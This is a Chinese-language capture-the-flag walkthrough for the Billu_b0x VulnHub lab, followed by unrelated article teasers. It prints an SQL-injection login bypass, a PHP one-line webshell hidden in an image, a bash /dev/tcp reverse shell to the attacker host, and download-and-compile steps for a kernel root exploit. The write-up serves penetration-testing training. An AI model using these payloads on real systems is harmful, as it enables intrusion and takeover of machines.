一、靶场详情

Billu_b0x 是 Vulnhub 上的经典中等难度靶机,主要考察从信息收集到提权的完整渗透流程:先通过端口和目录扫描发现网站入口,利用 SQL 注入或文件包含进入后台并上传 WebShell,再通过反弹 Shell 获取低权限用户,最后结合内核漏洞完成提权,最终拿到 root 权限,非常适合初学者系统练习 Web 渗透与 Linux 提权。

  • vulnhub 官网:Vulnerable By Design ~ VulnHub
  • 靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip

配置介绍:

  • 靶机:192.168.50.129
  • kali:192.168.50.130

二、信息收集

1.获取目标 ip

通过 arp-scan -l 扫描到在线主机(靶机)

arp-scan -l

2.扫描目标信息

通过 nmap 扫描目标详情,得知靶机开启了 80 和 22 端口。

nmap -p- 192.168.50.129

访问 80 端口,发现该页面存在登录功能。

3. 对该 web 服务进行目录扫描

dirsearch -u http://192.168.50.129/ -i 200

目录扫描,扫描出 add.php,head.php,c,phpmy/,test.php 等页面,依次访问。

test.php 页面

phpmy/页面

三、漏洞发现及利用

1.任意文件读取

经过信息收集发现 test.php 页面,该页面提示给 file 参数进行传值,先进行 get 传参,发现没任何变化,那就抓包 post 传参。令 file=/etc/passwd,发包发现返回内容,则此处存在任意文件读取漏洞。令 file=信息收集到的几个页面,进行源码查看。

2.绕过登录

方法 1: 文件包含获得密码

在任意文件读取处,令 file=信息收集到的几个页面,进行源码查看。经过几个页面的分析,发现几个有用的信息。

令 file=c 时,疑似得到数据库的账号和密码。想到在信息收集时,收集到了 phpmy/页面为 phpmyadmin 登录页面。

拿此密码进行登录尝试,发现登录成功。

发现该数据库中存在 ica_lab 库,该库中有 3 张表,auth 表中存有账号密码。

怀疑是主页面的登录账号密码,进行登录尝试,发现登录成功。

方法 2:sql 注入

通过文件包含 index.php 主页面,可以知道该登录机制的源码

if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);

参数uname和pass都对单引号做了过滤,单引号转化为空,最后的 sql 执行语句因该如下

select * from auth where  pass='$pass' and uname='$uname'

当传入的密码为 \ 时,sql 语句变为

select * from auth where  pass='\' and uname='$uname'

当传入的用户名为 or 1=1#时,sql 语句变为

select * from auth where  pass='\' and uname='or 1=1#'

即 username=or 1=1#,password=\ 可绕过登录。

登录成功。

3.文件包含利用

(1)分析数据包

在登录之后,右键查看源码,发现图片存放的地址,可得到图片存放的地址。

抓包分析该页面的数据包。

使用前面发现的任意文件读取漏洞查看该页面源码。

经过分析发现,此处存在文件包含漏洞,会将包含的文件当做 php 执行,又知道上传图片存放的地址,则这里可以使用图片马进行利用。

(2)图片马制作

copy 1.jpg/b+yijuhua.php/a tupianma.jpg#copy,Windows 的文件复制命令,但它有一个特性:支持文件拼接。
#1.jpg/b,1.jpg 是一个图片文件,/b 表示 以二进制模式复制,防止换行符、EOF 等问题。
#+,代表把多个文件合并。
#yijuhua.php/a,yijuhua.php 是一个 PHP 文件(一句话木马,<?php system($_GET['cmd']);?>),/a 表示 以 ASCII 模式复制。
#tupianma.jpg,输出的目标文件名,即最终生成的文件。

将制作好的一句话木马图片上传,然后令 load 参数的值为该木马图片的路径。因为此处是通过抓包修改参数进行的文件包含,具有一次性,故不能进行蚁剑连接。

因为几句话木马为<?php system($_GET['cmd']);?>,所有在抓包修改时,直接在 get 请求中添加 cmd 参数进行触发木马。可以看到,命令执行成功。

(3)反弹 shell

这里需要使用反弹 shell 的方式连接靶机。

首先需要在 kali 中开启端口监听。

其次使用 cmd 参数执行命令,进行反弹 shell。

echo "bash -i > /dev/tcp/192.168.50.130/4444 0>&1" | bash
# bash -i,启动一个 交互式 bash shell
# > /dev/tcp/192.168.33.130/4444  把当前 shell 的标准输出重定向到攻击者 192.168.33.130:4444 上。
# 0>&1,这表示把 标准输入(fd 0)重定向到标准输出(fd 1)。

注意,需要对该命令进行 url 编码

echo+%22bash+-i+%3e+%2fdev%2ftcp%2f192.168.50.130%2f4444+0%3e%261%22+%7c+bash

点击发送,发现 kali 中已经成功连接。

因为通过 nc 拿到的 shell 是 最简陋的 TTY

  • 没有命令提示符
  • 没有命令补全(Tab)
  • 输入密码时也不会显示 *
  • 输出可能乱码或显示不完整

可以在反弹 shell 里输入以下命令升级 shell

python -c 'import pty; pty.spawn("/bin/bash")'

(4)查看系统版本信息

cat /etc/*release

四、提权

1.查找 exp

在得知靶机的系统版本后,在 kali 中搜索是否有该版本的漏洞。

searchsploit Ubuntu 12.04

可以利用37292.c 这个 exp,首先将 37292.c 这个文件复制到桌面的 billu 文件中。

locate 37292.c   #查询37292.c文件的位置
cp  .c billu     #将.c文件复制到billu中

2.开启 http 服务

在 billu 文件中,开启 http 服务,以便可以下载该文件到靶机中。

python -m http.server 8080

接下来使用 weget 将 37292.c 文件从 kali 中下载到靶机中。这里需要注意,/var/www 目录下没有写入的权限,需要先将目录切换到/var/tmp 中,将 37292.c 文件下载到/var/tmp 中。

3.编译,赋权,执行

接下来就是要对该文件进行编译,赋权,执行。获得 root 权限

gcc 37292.c -o 37292 #将该文件编译后输出为37292chmod +x 37292       #给编译好的文件执行权限./37292              #执行文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/96861.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/96861.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/96861.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 相机内存复用(减少图像采集耗时)以及行数复用

背景我们在做图像处理时&#xff0c;都会对一些相机的SDK进行开发完成图像采集的操作&#xff0c;为后续图像处理做准备。本文主要的目的是降低图像采集的耗时&#xff0c;应用在一些高速检测的场景下。利用循环队列内存复用的方式&#xff0c;去掉或者减少新建内存的时间。线扫…

MTK Linux DRM分析(十三)- Mediatek KMS实现mtk_drm_drv.c(Part.1)

一、简介 MediaTek (MTK) 的DRM驱动(基于mtk_drm_drv.c)是为MediaTek SoC(如MT6985、MT6895等)设计的显示子系统(Display Subsystem)驱动程序。它实现了Linux DRM/KMS框架,支持多CRTC、多平面(plane)、连接器(connector)和编码器(encoder)的显示管道。驱动处理硬…

Wireshark笔记-DHCP流程与数据包解析

背景DHCP从大学上网络课时就开始知道了&#xff0c;当时只知道&#xff0c;能让计算机上网&#xff0c;要不就静态配IP&#xff0c;要不就DHCP获取&#xff0c;就能上网。2021年时&#xff0c;毕业好几年了&#xff0c;想学习下网络知识&#xff0c;就准备考一个软考网工。按要…

Coze用户账号设置修改用户头像-前端源码

概述 Coze Studio的用户头像修改功能是用户账号设置中的重要组成部分&#xff0c;允许用户上传和更新个人头像。本文将深入分析该功能的前端实现&#xff0c;包括组件架构、文件上传处理、API设计和用户体验优化等方面。 技术架构 整体架构设计 Coze Studio采用现代化的前端架构…

新手Github提交PR(Pull requests)详细教程

一、什么是Pull requests&#xff1f; Pull Requests&#xff08;PR&#xff09;是代码协作平台&#xff08;如 GitHub、GitLab 等&#xff09;中的一种功能&#xff0c;用于提议将某分支的代码变更合并到另一个分支&#xff08;通常是主分支&#xff09;。它允许开发者在合并…

本地通过跳板机连接无公网IP的内网服务器

本地环境&#xff1a;SSH client 堡垒机&#xff1a;有公网IP&#xff0c;有连接内网服务器的秘钥 SSH配置&#xff1a; Host jmsHostName [堡垒机的公网IP]Port 22User rootIdentityFile ~/.ssh/id_rsaHost appHostName 10.0.0.14Port 22User rootIdentityFile ~/.ssh/svc-p…

B树,B+树,B*树

下面我们来详细讲解一下 B树、B树、B*树 这三种非常重要的多路平衡查找树。它们在数据库和文件系统中有着极其广泛的应用。一、为什么需要这些树结构&#xff1f;在开始之前&#xff0c;我们先思考一个问题&#xff1a;为什么已经有了二叉搜索树&#xff08;BST&#xff09;、A…

汽车零部件工厂ESOP系统工业一体机如何选型

在汽车零部件工厂的生产管理中&#xff0c;ESOP 系统发挥着至关重要的作用。而工业一体机作为 ESOP 系统的关键硬件支撑&#xff0c;其选型的合理性直接关系到生产效率的提升、生产过程的精准控制以及生产数据的可靠采集与分析。因此&#xff0c;为汽车零部件工厂选择一款适合的…

​维基框架 (Wiki Framework) 1.1.0 版本发布​ 提供多模型AI辅助开发

介绍 多模型AI辅助开发​ 维基框架1.1.0集成了主流AI引擎的统一接口&#xff0c;支持开发者按需调用不同模型的优势能力&#xff1a; ​DeepSeek​&#xff1a;专注代码生成与重构&#xff0c;擅长复杂业务逻辑实现 ​ChatGPT​&#xff1a;多模态推理能力&#xff0c;适用于…

LabVIEW调用MATLAB 的分形生成

LabVIEW 调用 MATLAB&#xff0c;可借前者可视化流程与硬件交互优势&#xff0c;结合后者强数值计算、算法能力&#xff0c;复用成熟算法提速开发&#xff0c;还能灵活改代码。但需匹配版本、装运行环境&#xff0c;数据传递有性能损耗&#xff0c;脚本出错需跨软件调试。​优点…

ubuntu20.04开发ros2,使用docker安装部署的详细教程

学习docker的教程&#xff1a;可以直接在菜鸟教程上学习即可阶段 0&#xff1a;系统检查| 内容 | 建议 | |------|------| | 操作系统 | Ubuntu 22.04&#xff08;与 ROS2 Humble 最匹配&#xff09; | | 用户权限 | 能执行 sudo |&#x1f9e9; 阶段 1&#xff1a;在 Ubuntu 上…

SQL Server缩小日志文件.ldf的方法(适用于开发环境)

SQL Server缩小日志文件.ldf的方法&#xff08;适用于开发环境&#xff09; 核心概念&#xff1a;为什么日志文件会变大&#xff1f; 首先&#xff0c;理解原因至关重要。事务日志文件在以下情况下会增长&#xff1a; 大量操作&#xff1a;执行了大批量插入、更新或删除操作&am…

2.3零基础玩转uni-app轮播图:从入门到精通 (咸虾米总结)

还在uni-app中的轮播图组件头疼吗&#xff1f;看完这篇&#xff0c;让你轻松掌握swiper的所有秘密&#xff01;轮播图的重要性 在现代移动应用开发中&#xff0c;轮播图&#xff08;Swiper&#xff09;已成为展示焦点内容、广告推广和产品展示的首选组件。无论是电商平台的商品…

FPGA学习笔记——AHT20温湿度读取并在串口显示(IIC协议)

目录 一、任务 二、分析 1.需要了解的 2.需要用到的模块 3.流程分析 三、Visio图 四、代码 五、实验现象 一、任务 使用IIC协议通信的AHT20&#xff0c;将温湿度数据读取出来&#xff0c;并在串口助手上显示。 二、分析 1.需要了解的 需要了解IIC协议简介 也可以看看E…

Pycharm SSH连接

添加远程服务器文件——>设置——>项目下的Python解释器——>添加解释器——>SSH在弹出的弹窗中&#xff0c;输入远程的主机、端口和用户名、一直下一步&#xff0c;得到如下图所示的结果&#xff1a;选择Conda 环境&#xff1a;第一步选择Conda环境&#xff1b;第…

c# 读取xml文件内的数据

好多大型的项目&#xff0c;把一些固定的参数都存在 xml文件里。创建c# winfom 项目&#xff0c;test_xml创建resources文件夹存放xml文件创建parameters.xml文件<root><test_xml><param name "threshold" value "128"/><param name …

Legion Y7000P IRX9 DriveList

Legion Y7000P IRX9 DriveList 联想Y7000P驱动列表 驱动列表 intelwlan-TYY5057FK6MQBRF0.exe NVVGA-TYY5057F3M0H9RF0.exe RTKwlan-TYY5077FFSNECRF0.exe audio-TYY5057F4N1JARF0.exe chipset-TYY5037FB10X3RF0.exe hdr-TYY5027FXNF9AWF0.exe intelVGA-TYY5057F5R9J7RF…

编程与数学 02-017 Python 面向对象编程 23课题、测试面向对象的程序

编程与数学 02-017 Python 面向对象编程 23课题、测试面向对象的程序一、单元测试&#xff08;Unit Testing&#xff09;使用 unittest 模块使用 pytest二、集成测试&#xff08;Integration Testing&#xff09;三、模拟对象&#xff08;Mocking&#xff09;四、测试驱动开发&…

[React]Antd Cascader组件地区选择

前言表单中添加一个地区选择功能&#xff0c;要求支持增删改查功能。Cascader 使用Cascader组件动态加载地区选项。使用 loadData 实现动态加载选项&#xff0c;&#xff08;loadData 与 showSearch 无法一起使用&#xff09;。 这里使用了Form.Item组件。 <Form.Itemlabel{…

深度学习-----《PyTorch神经网络高效训练与测试:优化器对比、激活函数优化及实战技巧》

一、训练过程并行批量训练机制一次性输入64个批次数据&#xff0c;创建64个独立神经网络并行训练。所有网络共享参数&#xff08;Ω&#xff09;&#xff0c;更新时计算64个批次的平均损失&#xff0c;统一更新全局参数。梯度更新策略使用torch.no_grad()上下文管理器清理反向传…